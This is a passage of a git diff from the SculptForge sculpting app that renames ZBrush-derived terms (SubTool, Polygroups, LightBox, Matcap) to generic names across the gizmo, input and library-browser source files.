doc_.mesh.vertexCount() * 31u ^ (gizmo_.all ? 2u : 0u) ^ (gizmo_.useMask ? 4u : 0u) ^
- uint64_t(doc_.subtoolCount()) << 48;
+ uint64_t(doc_.partCount()) << 48;
if (gizmo_.all)
- for (const SubTool& s : doc_.subtools) key = key * 1099511628211ull ^ s.undo.revision() ^ (s.visible ? 1u : 0u);
+ for (const Part& s : doc_.parts) key = key * 1099511628211ull ^ s.undo.revision() ^ (s.visible ? 1u : 0u);
if (key == gizmo_.centreKey) return;
gizmo_.centreKey = key;
- // A new mask (or another SubTool) means a new part to move: follow its centre again.
- uint64_t maskKey = doc_.activeSubtoolInfo().id;
+ // A new mask (or another Part) means a new part to move: follow its centre again.
+ uint64_t maskKey = doc_.activePartInfo().id;
const auto& mask = doc_.mesh.mask;
double sum = 0.0;
for (size_t v = 0; v < mask.size(); v += 1 + mask.size() / 65536) sum += double(mask[v]) * double(v % 97 + 1);
@@ -227,7 +227,7 @@ void App::updateGizmoPivot() {
if (gizmo_.pivotPlaced) return;
AABB box;
for (int i : gizmoTargets()) {
- const Mesh& m = doc_.subtoolMesh(i);
+ const Mesh& m = doc_.partMesh(i);
if (m.vertexCount() == 0) continue;
box.expand(transformBounds(m, transformWeights(m, gizmo_.useMask, 0.0f)));
}
@@ -243,7 +243,7 @@ void App::resetGizmoPivot() {
status_ = "Pivot at the centre, world axes";
}
-void App::snapGizmoPivot(const RayHit& hit, int subtool) {
+void App::snapGizmoPivot(const RayHit& hit, int part) {
gizmo_.pivot = hit.position;
gizmo_.pivotPlaced = true;
gizmo_.snapNext = false;
@@ -251,7 +251,7 @@ void App::snapGizmoPivot(const RayHit& hit, int subtool) {
// The triangle's normal faces either way: turn it toward the viewer.
if (glm::dot(gizmo_.surfaceNormal, camera_.forward()) > 0.0f) gizmo_.surfaceNormal = -gizmo_.surfaceNormal;
if (gizmo_.orientSurface) gizmo_.frame = frameFromNormal(gizmo_.surfaceNormal);
- status_ = "Pivot on " + doc_.subtools[size_t(subtool)].name + " at " + vecText(hit.position);
+ status_ = "Pivot on " + doc_.parts[size_t(part)].name + " at " + vecText(hit.position);
}
glm::mat3 App::gizmoFrame() const {
@@ -400,23 +400,23 @@ bool App::gizmoHandleScreen(GizmoHandle h, ImVec2& out) const {
// ---------------------------------------------------------------------------
bool App::gizmoMouseDown(float x, float y, SDL_Keymod mod) {
- if (!gizmoActive() || ctrlDown(mod)) return false; // Ctrl still masks, as in ZBrush
+ if (!gizmoActive() || ctrlDown(mod)) return false; // Ctrl still masks, as
if (previewLod_ >= 0) clearLods();
updateGizmoPivot();
const bool alt = (mod & SDL_KMOD_ALT) != 0;
const GizmoHandle h = gizmoHandleAt(x, y);
if (h == H::None) {
RayHit hit;
- const int st = pickSubtool(x, y, &hit);
+ const int st = pickPart(x, y, &hit);
if (st >= 0 && gizmo_.snapNext) {
snapGizmoPivot(hit, st);
return true;
}
- if (alt && st >= 0 && st != doc_.activeSubtool) return false; // Alt+click selects another SubTool
+ if (alt && st >= 0 && st != doc_.activePart) return false; // Alt+click selects another Part
if (alt && st >= 0) { // a click puts the pivot here, a drag pans
gizmo_.pendingSnap = true;
gizmo_.snapHit = hit;
- gizmo_.snapSubtool = st;
+ gizmo_.snapPart = st;
gizmo_.startMouse = ImVec2(x, y);
}
// Off the handles the mouse navigates, wherever it is.
@@ -475,20 +475,20 @@ bool App::gizmoMouseDown(float x, float y, SDL_Keymod mod) {
}
}
- gizmo_.subtools.clear();
+ gizmo_.parts.clear();
gizmo_.sessions.clear();
if (!gizmo_.pivotOnly) {
for (int i : gizmoTargets()) {
- Mesh& m = doc_.subtoolMesh(i);
- SubTool& s = doc_.subtools[size_t(i)];
- if (i != doc_.activeSubtool && s.bvhDirty) {
+ Mesh& m = doc_.partMesh(i);
+ Part& s = doc_.parts[size_t(i)];
+ if (i != doc_.activePart && s.bvhDirty) {
s.bvh.build(s.mesh);
s.bvhDirty = false;
}
TransformSession session;
if (!session.begin(m, transformWeights(m, gizmo_.useMask, gizmo_.falloff), symmetry_, gizmo_.pivot))
continue;
- gizmo_.subtools.push_back(i);
+ gizmo_.parts.push_back(i);
gizmo_.sessions.push_back(std::move(session));
}
if (gizmo_.sessions.empty()) {
@@ -514,8 +514,8 @@ void App::gizmoDragTo(float x, float y) {
const glm::vec3 c = gizmo_.startPivot;
const int axis = axisOf(h);
float size = 0.0f;
- for (int i : gizmo_.subtools.empty() ? gizmoTargets() : gizmo_.subtools)
- size = std::max(size, glm::length(doc_.subtoolMesh(i).bounds().extent()));
+ for (int i : gizmo_.parts.empty() ? gizmoTargets() : gizmo_.parts)
+ size = std::max(size, glm::length(doc_.partMesh(i).bounds().extent()));
const float grid = gridStep(size);
MeshTransform t;
t.pivot = c;
@@ -593,14 +593,14 @@ void App::gizmoDragTo(float x, float y) {
return;
}
gizmo_.current = t;
- for (size_t i = 0; i < gizmo_.sessions.size(); ++i) gizmo_.sessions[i].apply(doc_.subtoolMesh(gizmo_.subtools[i]), t);
+ for (size_t i = 0; i < gizmo_.sessions.size(); ++i) gizmo_.sessions[i].apply(doc_.partMesh(gizmo_.parts[i]), t);
}
void App::gizmoRelease() {
if (gizmo_.pendingSnap) {
gizmo_.pendingSnap = false;
- if (dist2(gizmo_.startMouse, ImVec2(mouseX_, mouseY_)) < 16.0f && gizmo_.snapSubtool == doc_.activeSubtool)
- snapGizmoPivot(gizmo_.snapHit, gizmo_.snapSubtool);
+ if (dist2(gizmo_.startMouse, ImVec2(mouseX_, mouseY_)) < 16.0f && gizmo_.snapPart == doc_.activePart)
+ snapGizmoPivot(gizmo_.snapHit, gizmo_.snapPart);
}
if (drag_ != Drag::Gizmo) return;
const GizmoHandle h = gizmo_.handle;
@@ -611,9 +611,9 @@ void App::gizmoRelease() {
const char* label = isRotate(h) ? "Gizmo Rotate" : isScale(h) ? "Gizmo Scale" : "Gizmo Move";
size_t moved = 0;
for (size_t i = 0; i < gizmo_.sessions.size(); ++i) {
- const int st = gizmo_.subtools[i];
- const bool active = st == doc_.activeSubtool;
- SubTool& s = doc_.subtools[size_t(st)];
+ const int st = gizmo_.parts[i];
+ const bool active = st == doc_.activePart;
+ Part& s = doc_.parts[size_t(st)];
const size_t n = gizmo_.sessions[i].movingVertices();
UndoRecord r = gizmo_.sessions[i].finish(active ? doc_.mesh : s.mesh, active ? doc_.bvh : s.bvh, label);
if (r.empty()) continue;
@@ -621,7 +621,7 @@ void App::gizmoRelease() {
moved += n;
}
gizmo_.sessions.clear();
- gizmo_.subtools.clear();
+ gizmo_.parts.clear();
if (moved == 0) return;
// The gizmo moves and turns with what it moved.
const MeshTransform& t = gizmo_.current;
@@ -656,7 +656,7 @@ void App::gizmoRelease() {
void App::rememberGizmoStep(const glm::vec3& before, const glm::mat3& frameBefore, bool surfaceBefore) {
GizmoState::Step st;
- st.subtool = doc_.activeSubtoolInfo().id;
+ st.part = doc_.activePartInfo().id;
st.depth = doc_.undo.undoCount();
st.before = before;
st.after = gizmo_.pivot;
@@ -670,12 +670,12 @@ void App::rememberGizmoStep(const glm::vec3& before, const glm::mat3& frameBefor
}
void App::gizmoAfterUndo(bool redo) {
- const uint32_t id = doc_.activeSubtoolInfo().id;
+ const uint32_t id = doc_.activePartInfo().id;
const size_t depth = doc_.undo.undoCount();
auto& from = redo ? gizmo_.redoSteps : gizmo_.undoSteps;
auto& to = redo ? gizmo_.undoSteps : gizmo_.redoSteps;
// Undo took the stack from st.depth to st.depth - 1; redo brought it back to st.depth.
- if (from.empty() || from.back().subtool != id || from.back().depth != (redo ? depth : depth + 1)) return;
+ if (from.empty() || from.back().part != id || from.back().depth != (redo ? depth : depth + 1)) return;
const GizmoState::Step st = from.back();
from.pop_back();
to.push_back(st);
@@ -728,7 +728,7 @@ void App::drawGizmo() {
if (!gizmoActive()) return;
if (drag_ != Drag::Gizmo) updateGizmoPivot();
drawGizmoPanel();
- if (!doc_.activeSubtoolInfo().visible) return;
+ if (!doc_.activePartInfo().visible) return;
const ImVec2 mouse(mouseX_, mouseY_);
const bool overCanvas = !ImGui::GetIO().WantCaptureMouse && canvasRect().contains(mouse.x, mouse.y);
gizmo_.hover = drag_ == Drag::Gizmo ? gizmo_.handle
diff --git a/src/app/I18nSpanish.cpp b/src/app/I18nSpanish.cpp
index 3160e29e..e5025afa 100644
--- a/src/app/I18nSpanish.cpp
+++ b/src/app/I18nSpanish.cpp
@@ -4,11 +4,11 @@
// The Spanish interface (#44), written by hand for SculptForge. The English text
// is the key (I18n.h); a label without an entry stays in English.
//
-// Conventions, as Spanish-speaking ZBrush artists use them:
+// Conventions, as Spanish-speaking experienced sculptors use them:
// - Names of tools, brushes and products stay in English: Quad Remesh, Forge Spheres, Lit Sphere, Clay Block and every
// other brush, Smt, Rgb, Project All, Lazy Stroke, Mask Pen, VDM. Generic words are translated: Pieza (Part),
// Biblioteca (Library), Pintura de vértices (Vertex Paint), Grupos de caras (Face Groups).
-// - Palettes and actions read as ZBrush's own Spanish: Pincel, Trazo, Herramienta, Dibujar, Tamaño de dibujo,
+// - Palettes and actions read own Spanish: Pincel, Trazo, Herramienta, Dibujar, Tamaño de dibujo,
// Intensidad, Atenuación, Dividir, Enmascarado.
// - Short and imperative, "tú" (Elige, Guarda), sentence case like the English.
// - printf conversions (%d, %.1f, %s, %%) stay in the same order: tests check every entry.
diff --git a/src/app/Input.cpp b/src/app/Input.cpp
index cc77736e..3807679c 100644
--- a/src/app/Input.cpp
+++ b/src/app/Input.cpp
@@ -3,7 +3,7 @@
//
// The Classic sculpting keys (docs/guide/quick-tour.md): the keys SculptForge lacked (U Intensity, I RGB
// Intensity, O Focal Shift, Space QuickMenu, L LazyMouse, V switch colour, Ctrl+A / Ctrl+Shift+A / Ctrl+I /
-// Ctrl+H for the mask, Ctrl+W group masked), Preferences > Input with the ZBrush and SculptForge key styles,
+// Ctrl+H for the mask, Ctrl+W group masked), Preferences > Input with the classic and SculptForge key styles,
// the QuickMenu itself and Shift-constrained straight strokes. The mouse gestures live with the rest of the
// input in App.cpp (roll, Ctrl+click blur / sharpen in PanelMasking.cpp).
//
@@ -17,7 +17,7 @@
#include "app/Theme.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include <IconsLucide.h>
@@ -70,7 +70,7 @@ void App::registerInputActions() {
actions_.add(std::move(a));
};
- // The sliders at the cursor (S is Draw Size, in LightBox.cpp).
+ // The sliders at the cursor (S is Draw Size, in Library.cpp).
add("ui.strength_popup", "Intensity at cursor", ICON_LC_CIRCLE_DOT, "Draw", "U",
"A Intensity slider under the cursor: drag it, or type a number (1-100) and press Enter. Hold Shift (or "
"pick Smooth) to set Smooth's own Intensity.",
@@ -151,7 +151,7 @@ void App::registerInputActions() {
add("color.switch", "Switch Color", ICON_LC_ARROW_LEFT_RIGHT, "Color", "V",
"Swap the main and the secondary colour.", [this] { std::swap(doc_.paintColor, secondaryColor_); });
- // Masking (ZBrush Tool > Masking keys).
+ // Masking (Tool > Masking keys).
add("mask.all", "Mask All", ICON_LC_SQUARE, "Tool > Masking", "Ctrl+A", "Mask the whole visible Part.",
[this] { runCommand("mask_all"); });
add("mask.clear", "Clear Mask", ICON_LC_ERASER, "Tool > Masking", "Ctrl+Shift+A",
@@ -160,21 +160,21 @@ void App::registerInputActions() {
"Mask what is unmasked and unmask what is masked (also: Ctrl+click the background).",
[this] { runCommand("mask_invert"); });
actions_.setDefaultShortcut("view.mask", "Ctrl+H"); // View Mask
- add("polygroup.group_masked", "Group Masked", ICON_LC_SHAPES, "Tool > Face Groups", "Ctrl+W",
+ add("facegroup.group_masked", "Group Masked", ICON_LC_SHAPES, "Tool > Face Groups", "Ctrl+W",
"Turn the masked part into a new face group and clear the mask. With nothing masked, "
"everything visible becomes one group.",
[this] { groupMasked(); });
- add("polygroup.uv_groups", "Group by UVs", ICON_LC_GRID_2X2, "Tool > Face Groups", "",
+ add("facegroup.uv_groups", "Group by UVs", ICON_LC_GRID_2X2, "Tool > Face Groups", "",
"One face group per UV island: triangles that touch without a UV seam share a group. "
"Only the visible part is regrouped. Needs UVs (Tool > Texture Map > Auto UV makes some).",
[this] {
- runCommand("polygroup_uv");
- if (lastCommandOk_) renderSettings_.showPolygroups = true;
+ runCommand("facegroup_uv");
+ if (lastCommandOk_) renderSettings_.showFaceGroups = true;
});
actions_.setDefaultShortcut("config.save", "Ctrl+Shift+Alt+I");
// Preferences > Input: the key style.
- add("input.style_zbrush", "Classic sculpting keys", nullptr, "Preferences > Input", "",
+ add("input.style_classic", "Classic sculpting keys", nullptr, "Preferences > Input", "",
"The classic sculpting keys and gestures: I is RGB Intensity, 9 saves a snapshot, the number keys don't pick brushes, and "
"Ctrl+drag on the background only clears the mask.",
[this] { setInputStyle(0); }, [this] { return uiPrefs_.inputStyle == 0; });
@@ -333,7 +333,7 @@ void App::registerViewActions() {
add("view.zoom_in", "Zoom in", "Numpad Plus", "Move the view closer.", [this] { camera_.zoom(1.0f); });
add("view.zoom_out", "Zoom out", "Numpad Minus", "Move the view back.", [this] { camera_.zoom(-1.0f); });
add("view.frame_selected", "Frame Part", "Numpad .", "Fit the active Part in the view (Blender: View Selected).",
- [this] { frameActiveSubtool(); });
+ [this] { frameActivePart(); });
}
void App::setInputStyle(int style) {
@@ -345,9 +345,9 @@ void App::setInputStyle(int style) {
}
void App::applyInputStyle() {
- const int style = std::clamp(uiPrefs_.inputStyle, 0, 3) == 3 ? 0 : std::clamp(uiPrefs_.inputStyle, 0, 2); // Maya keeps ZBrush keys
+ const int style = std::clamp(uiPrefs_.inputStyle, 0, 3) == 3 ? 0 : std::clamp(uiPrefs_.inputStyle, 0, 2); // Maya keeps the Classic sculpting keys
const bool sf = style == 1;
- // One row per action whose key depends on the style: ZBrush, SculptForge, Blender (Blender 4.2 - 5.x defaults).
+ // One row per action whose key depends on the style: classic, SculptForge, Blender (Blender 4.2 - 5.x defaults).
struct Keys {
const char* id;
const char* keys[3];
@@ -379,7 +379,7 @@ void App::applyInputStyle() {
static const std::pair<BrushType, const char*> kBlenderBrushes[] = {
{BrushType::Standard, "V"}, {BrushType::Smooth, "S"}, {BrushType::Pinch, "P"},
{BrushType::Inflate, "I"}, {BrushType::Move, "G"}, {BrushType::Flatten, "Shift+T"},
- {BrushType::ClayBuildup, "C"}, {BrushType::Crease, "Shift+C"}, {BrushType::SnakeHook, "K"},
+ {BrushType::ClayBlock, "C"}, {BrushType::Crease, "Shift+C"}, {BrushType::SnakeHook, "K"},
};
for (int i = 0; i < int(BrushType::Count); ++i) {
std::string key = sf && i < 10 ? (i < 9 ? std::to_string(i + 1) : "0") : "";
@@ -414,21 +414,21 @@ void App::viewOrbitStep(float yawDegrees, float pitchDegrees) {
}
}
-void App::frameActiveSubtool() {
+void App::frameActivePart() {
const AABB b = doc_.mesh.bounds();
if (b.valid()) camera_.frame(b);
else camera_.frame(sceneBounds());
}
SDL_Keymod App::blenderMods(SDL_Keymod keyboard) const {
- // What the sculpting code reads: Alt inverts, Ctrl masks, Shift smooths (the ZBrush meanings). Blender inverts
+ // What the sculpting code reads: Alt inverts, Ctrl masks, Shift smooths (the classic meanings). Blender inverts
// with Ctrl and masks with the Mask brush, or (5.1+, #77) with Alt held: Alt+drag masks, Ctrl+Alt+drag unmasks.
// With Emulate 3 Button Mouse, Alt is the emulated middle button and means nothing here.
SDL_Keymod out = keyboard & SDL_KMOD_SHIFT;
const bool ctrl = (keyboard & (SDL_KMOD_CTRL | SDL_KMOD_GUI)) != 0;
if ((keyboard & SDL_KMOD_ALT) && !uiPrefs_.emulate3Button) {
- out = SDL_KMOD_LCTRL; // the mask brush, as ZBrush's Ctrl (not with Shift: that would hide)
- if (ctrl) out = SDL_Keymod(out | SDL_KMOD_LALT); // ... unmasking, as ZBrush's Ctrl+Alt
+ out = SDL_KMOD_LCTRL; // the mask brush Ctrl (not with Shift: that would hide)
+ if (ctrl) out = SDL_Keymod(out | SDL_KMOD_LALT); // ... unmasking Ctrl+Alt
} else if (maskBrushActive()) {
if (!(keyboard & SDL_KMOD_SHIFT)) out |= SDL_KMOD_LCTRL; // Shift still smooths the surface
if (ctrl) out |= SDL_KMOD_LALT; // Ctrl unmasks
@@ -461,10 +461,10 @@ void App::hideGroupUnderCursor(bool isolate) {
if (isolate && doc_.mesh.hasHidden()) runCommand("show_all");
return;
}
- const uint32_t group = doc_.mesh.polygroupAt(hit.triangle);
- if (!isolate) runCommand("hide_polygroup", {{"group", double(group)}});
- else if (polygroupIsolated(doc_.mesh, group)) runCommand("show_all");
- else runCommand("isolate_polygroup", {{"group", double(group)}});
+ const uint32_t group = doc_.mesh.facegroupAt(hit.triangle);
+ if (!isolate) runCommand("hide_facegroup", {{"group", double(group)}});
+ else if (facegroupIsolated(doc_.mesh, group)) runCommand("show_all");
+ else runCommand("isolate_facegroup", {{"group", double(group)}});
}
bool App::importBlenderKeymap(const std::string& path) {
@@ -504,7 +504,7 @@ bool App::importBlenderKeymap(const std::string& path) {
}
void App::drawInputStyleRow(float width) {
- ui::Segmented(*this, {"input.style_zbrush", "input.style_sculptforge", "input.style_blender", "input.style_maya"}, width);
+ ui::Segmented(*this, {"input.style_classic", "input.style_sculptforge", "input.style_blender", "input.style_maya"}, width);
}
void App::drawInputSection() {
@@ -623,16 +623,16 @@ void App::drawZIntensitySlider(const char* id) {
void App::groupMasked() {
if (anyMasked(doc_.mesh)) {
- runCommand("polygroup_from_mask");
+ runCommand("facegroup_from_mask");
if (lastCommandOk_) {
const std::string message = status_;
runCommand("mask_clear");
status_ = message;
}
} else {
- runCommand("polygroup_merge_visible");
+ runCommand("facegroup_merge_visible");
}
- if (lastCommandOk_) renderSettings_.showPolygroups = true; // like the panel's buttons: show the result
+ if (lastCommandOk_) renderSettings_.showFaceGroups = true; // like the panel's buttons: show the result
}
// ---------------------------------------------------------------------------
@@ -678,7 +678,7 @@ void App::openQuickMenu() {
void App::rightClickRelease() {
const bool click = rightClick_.pending;
rightClick_.pending = false;
- if (zsMenu_.armed) { // on a Forge Sphere: its menu instead (PanelZSpheres.cpp)
+ if (zsMenu_.armed) { // on a Forge Sphere: its menu instead (PanelForge Spheres.cpp)
zsMenu_.armed = false;
zsMenu_.open = click;
return;
@@ -697,7 +697,7 @@ void App::quickMenuKeyUp() {
if (!quickMenu_.keyHeld) return;
quickMenu_.keyHeld = false;
if (!quickMenu_.open) return;
- // Held: let go to close, as in ZBrush, unless the pointer is on the menu (then it stays until it leaves).
+ // Held: let go to close, unless the pointer is on the menu (then it stays until it leaves).
const bool tap = ImGui::GetTime() - quickMenu_.openedAt < kQuickMenuTapSeconds;
ImGuiWindow* w = ImGui::FindWindowByName("Quick Menu##quickmenu");
const bool over = w && ImGui::IsMouseHoveringRect(w->Pos, ImVec2(w->Pos.x + w->Size.x, w->Pos.y + w->Size.y), false);
@@ -754,7 +754,7 @@ void App::drawQuickMenu() {
if (ui::SliderInside("##qm_rgb", &rgb, 1.0f, 100.0f, "RGB Intensity %.0f")) rgbIntensity_ = rgb / 100.0f;
ui::HelpText("RGB Intensity", "I", "How strongly painting colours the surface.", "Quick Menu");
ImGui::EndGroup();
- ui::Segmented(*this, {"draw.zadd", "draw.zsub"}, 2 * tile + ImGui::GetStyle().ItemSpacing.x);
+ ui::Segmented(*this, {"draw.raise", "draw.lower"}, 2 * tile + ImGui::GetStyle().ItemSpacing.x);
ImGui::SameLine();
ui::Segmented(*this, {"draw.sculpt", "draw.paint"}, 2 * tile + ImGui::GetStyle().ItemSpacing.x);
ImGui::SameLine();
diff --git a/src/app/LightBox.cpp b/src/app/LibraryBrowser.cpp
similarity index 93%
rename from src/app/LightBox.cpp
rename to src/app/LibraryBrowser.cpp
index 89e45e34..5accd90f 100644
--- a/src/app/LightBox.cpp
+++ b/src/app/LibraryBrowser.cpp
@@ -1,13 +1,13 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
#include "app/Theme.h"
-#include "app/LightBox.h"
+#include "app/LibraryBrowser.h"
#include "app/App.h"
#include "app/Pickers.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "core/StarterMeshes.h"
@@ -111,16 +111,16 @@ const BrushAlpha& builtinAlpha(int i) {
void SDLCALL onFolderChosen(void* userdata, const char* const* files, int) {
wakeMainLoop(); // a file dialog answered (maybe on another thread): redraw now
- if (files && files[0]) static_cast<LightBox*>(userdata)->folderChosen(files[0]);
+ if (files && files[0]) static_cast<LibraryBrowser*>(userdata)->folderChosen(files[0]);
}
} // namespace
-float LightBox::height(int rows, float scale) {
+float LibraryBrowser::height(int rows, float scale) {
return (kHeader + float(std::clamp(rows, 1, 4)) * (kTile + kLabel + 4.0f) + 12.0f) * scale;
}
-void LightBox::show(LibraryTab tab) {
+void LibraryBrowser::show(LibraryTab tab) {
open_ = true;
if (place_.tab != tab || !place_.folder.empty()) {
back_.push_back(place_);
@@ -130,7 +130,7 @@ void LightBox::show(LibraryTab tab) {
}
}
-void LightBox::showFolder(LibraryTab tab, const std::string& folder) {
+void LibraryBrowser::showFolder(LibraryTab tab, const std::string& folder) {
open_ = true;
Place to{tab, folder};
if (to == place_) return;
@@ -141,12 +141,12 @@ void LightBox::showFolder(LibraryTab tab, const std::string& folder) {
scrollTo_ = 0.0f;
}
-void LightBox::folderChosen(const std::string& path) {
+void LibraryBrowser::folderChosen(const std::string& path) {
std::lock_guard lock(folderMutex_);
chosenFolder_ = path;
}
-void LightBox::navigate(App&, Place to) {
+void LibraryBrowser::navigate(App&, Place to) {
if (to == place_) return;
back_.push_back(place_);
if (back_.size() > 64) back_.erase(back_.begin());
@@ -161,7 +161,7 @@ void LightBox::navigate(App&, Place to) {
// What a tab shows
// ---------------------------------------------------------------------------
-void LightBox::rootEntries(App& app, std::vector<AssetEntry>& out) {
+void LibraryBrowser::rootEntries(App& app, std::vector<AssetEntry>& out) {
const LibraryTab tab = place_.tab;
const LibraryRoots& roots = app.library_;
auto folderTile = [&](const std::string& name, const std::string& path) {
@@ -184,7 +184,7 @@ void LightBox::rootEntries(App& app, std::vector<AssetEntry>& out) {
const std::string userDir =
roots.user.empty() || !*libraryTabFolder(tab) ? std::string() : roots.user + "/" + libraryTabFolder(tab);
const std::string builtinDir = roots.builtin.empty() ? std::string() : roots.builtin + "/demo";
- // The Built-in and User folders (ZBrush: Maxon and User), and folders the artist added.
+ // The Built-in and User folders, and folders the artist added.
const bool folders = tab == LibraryTab::Project || tab == LibraryTab::Tool || tab == LibraryTab::Alpha ||
tab == LibraryTab::Image || tab == LibraryTab::Splats || tab == LibraryTab::Brush;
if (folders) {
@@ -274,14 +274,14 @@ void LightBox::rootEntries(App& app, std::vector<AssetEntry>& out) {
break;
}
case LibraryTab::Material:
- app.materialListShown(); // just opened: images added to the MatCaps folder since show up
- for (int k = 0; k <= matcapCount(); ++k) { // the MatCaps (the default first), then Studio
- const int i = k < matcapCount() ? matcapInListOrder(k) : -1;
- if (i >= 0 && !isMatcapListed(i)) continue; // removed
+ app.materialListShown(); // just opened: images added to the Lit Spheres folder since show up
+ for (int k = 0; k <= litsphereCount(); ++k) { // the Lit Spheres (the default first), then Studio
+ const int i = k < litsphereCount() ? litsphereInListOrder(k) : -1;
+ if (i >= 0 && !isLitSphereListed(i)) continue; // removed
AssetEntry e;
e.kind = AssetKind::Material;
e.index = i;
- e.name = i < 0 ? "Studio" : matcapName(i);
+ e.name = i < 0 ? "Studio" : litsphereName(i);
out.push_back(std::move(e));
}
break;
@@ -338,7 +338,7 @@ void LightBox::rootEntries(App& app, std::vector<AssetEntry>& out) {
}
}
-std::vector<AssetEntry> LightBox::entries(App& app) {
+std::vector<AssetEntry> LibraryBrowser::entries(App& app) {
std::vector<AssetEntry> out;
if (place_.folder.empty()) {
rootEntries(app, out);
@@ -382,7 +382,7 @@ bool isActiveBrushType(const App& app, int index) {
}
} // namespace
-ImTextureID LightBox::thumbnail(App& app, const AssetEntry& e) {
+ImTextureID LibraryBrowser::thumbnail(App& app, const AssetEntry& e) {
ThumbnailCache& t = app.thumbs_;
switch (e.kind) {
case AssetKind::Project:
@@ -414,7 +414,7 @@ ImTextureID LightBox::thumbnail(App& app, const AssetEntry& e) {
// Actions
// ---------------------------------------------------------------------------
-void LightBox::activate(App& app, const AssetEntry& e, bool append) {
+void LibraryBrowser::activate(App& app, const AssetEntry& e, bool append) {
switch (e.kind) {
case AssetKind::Up: {
const std::string parent = utf8(fsPath(place_.folder).parent_path());
@@ -431,7 +431,7 @@ void LightBox::activate(App& app, const AssetEntry& e, bool append) {
return;
case AssetKind::Primitive: {
if (append) {
- app.runCommand("subtool_append", {{"type", lower(primitiveName(Primitive(e.index)))}});
+ app.runCommand("part_append", {{"type", lower(primitiveName(Primitive(e.index)))}});
return;
}
const Primitive p = Primitive(e.index);
@@ -455,7 +455,7 @@ void LightBox::activate(App& app, const AssetEntry& e, bool append) {
return;
}
if (append)
- app.runCommand("subtool_append", {{"path", e.path}});
+ app.runCommand("part_append", {{"path", e.path}});
else
app.openPathConfirmed(e.path);
return;
@@ -488,7 +488,7 @@ void LightBox::activate(App& app, const AssetEntry& e, bool append) {
app.runCommand("brush_set_alpha", {{"path", e.path}, {"invert", app.alphaInvert_}});
return;
case AssetKind::Material:
- app.runCommand("set_material", {{"name", std::string(e.index < 0 ? "studio" : matcapName(e.index))}});
+ app.runCommand("set_material", {{"name", std::string(e.index < 0 ? "studio" : litsphereName(e.index))}});
return;
case AssetKind::Image:
imageMenu_ = e.path;
@@ -499,7 +499,7 @@ void LightBox::activate(App& app, const AssetEntry& e, bool append) {
}
}
-void LightBox::contextMenu(App& app, const AssetEntry& e) {
+void LibraryBrowser::contextMenu(App& app, const AssetEntry& e) {
ImGui::TextDisabled("%s", e.name.c_str());
ImGui::Separator();
const bool mesh = e.kind == AssetKind::Mesh || e.kind == AssetKind::Project || e.kind == AssetKind::Primitive;
@@ -530,7 +530,7 @@ void LightBox::contextMenu(App& app, const AssetEntry& e) {
// Drawing
// ---------------------------------------------------------------------------
-std::string LightBox::folderLabel(const App& app, const std::string& folder) const {
+std::string LibraryBrowser::folderLabel(const App& app, const std::string& folder) const {
const LibraryRoots& r = app.library_;
if (!r.builtin.empty() && isUnder(folder, r.builtin)) return "Built-in";
if (!r.starter.empty() && isUnder(folder, r.starter)) return kStarterFolder;
@@ -538,7 +538,7 @@ std::string LightBox::folderLabel(const App& app, const std::string& folder) con
return utf8(fsPath(folder).filename());
}
-void LightBox::drawBreadcrumb(App& app) {
+void LibraryBrowser::drawBreadcrumb(App& app) {
// Tab > Built-in/User > sub > sub: each crumb goes back there.
std::vector<std::pair<std::string, Place>> crumbs;
crumbs.push_back({tr(libraryTabName(place_.tab)), {place_.tab, ""}});
@@ -580,7 +580,7 @@ void LightBox::drawBreadcrumb(App& app) {
}
}
-void LightBox::drawHeader(App& app, float width) {
+void LibraryBrowser::drawHeader(App& app, float width) {
const float scale = app.uiScale_;
ImGuiStyle& style = ImGui::GetStyle();
ImDrawList* dl = ImGui::GetWindowDrawList();
@@ -730,11 +730,11 @@ void LightBox::drawHeader(App& app, float width) {
ui::HelpText("Filter", nullptr, "Show only the items whose names contain this text.", "Library");
ImGui::SameLine(0, 8 * scale);
for (int r = 1; r <= 4; ++r) {
- const bool on = app.layout_.lightboxRows == r;
+ const bool on = app.layout_.libraryRows == r;
char label[16];
std::snprintf(label, sizeof label, "%d##lbrows", r);
if (on) ImGui::PushStyleColor(ImGuiCol_Button, ImGui::ColorConvertU32ToFloat4(kAccent));
- if (ImGui::Button(label, ImVec2(ImGui::GetFrameHeight(), 0))) app.layout_.lightboxRows = r;
+ if (ImGui::Button(label, ImVec2(ImGui::GetFrameHeight(), 0))) app.layout_.libraryRows = r;
if (on) ImGui::PopStyleColor();
ui::HelpText("Rows", nullptr, "How many rows of thumbnails the Library shows (1-4).", "Library");
ImGui::SameLine(0, 2);
@@ -769,7 +769,7 @@ void LightBox::drawHeader(App& app, float width) {
ImGui::SetCursorScreenPos(ImVec2(origin.x, origin.y + kHeader * scale + 2.0f));
}
-void LightBox::draw(App& app, const CanvasRect& canvas) {
+void LibraryBrowser::draw(App& app, const CanvasRect& canvas) {
{
std::lock_guard lock(folderMutex_);
if (!chosenFolder_.empty()) {
@@ -786,12 +786,12 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
UiLayout& layout = app.layout_;
if (!syncedLayout_) {
syncedLayout_ = true;
- place_.tab = libraryTabFromId(layout.lightboxTab);
- open_ = open_ || layout.lightboxOpen;
+ place_.tab = libraryTabFromId(layout.libraryTab);
+ open_ = open_ || layout.libraryOpen;
}
- layout.lightboxOpen = open_;
- layout.lightboxTab = libraryTabId(place_.tab);
- layout.lightboxRows = std::clamp(layout.lightboxRows, 1, 4);
+ layout.libraryOpen = open_;
+ layout.libraryTab = libraryTabId(place_.tab);
+ layout.libraryRows = std::clamp(layout.libraryRows, 1, 4);
app.libraryScanner_.poll(ImGui::GetTime());
// Esc closes the Library (#80), unless a picker, a pop-up or a text field has the keys (they take Esc first).
if (open_ && ImGui::IsKeyPressed(ImGuiKey_Escape, false) && !ImGui::GetIO().WantCaptureKeyboard &&
@@ -803,9 +803,9 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
}
const float scale = app.uiScale_;
- const int rows = layout.lightboxRows;
+ const int rows = layout.libraryRows;
const float h = std::min(height(rows, scale), canvas.h);
- const float y = layout.lightboxBottom ? canvas.y + canvas.h - h : canvas.y;
+ const float y = layout.libraryBottom ? canvas.y + canvas.h - h : canvas.y;
ImGui::SetNextWindowPos(ImVec2(canvas.x, y));
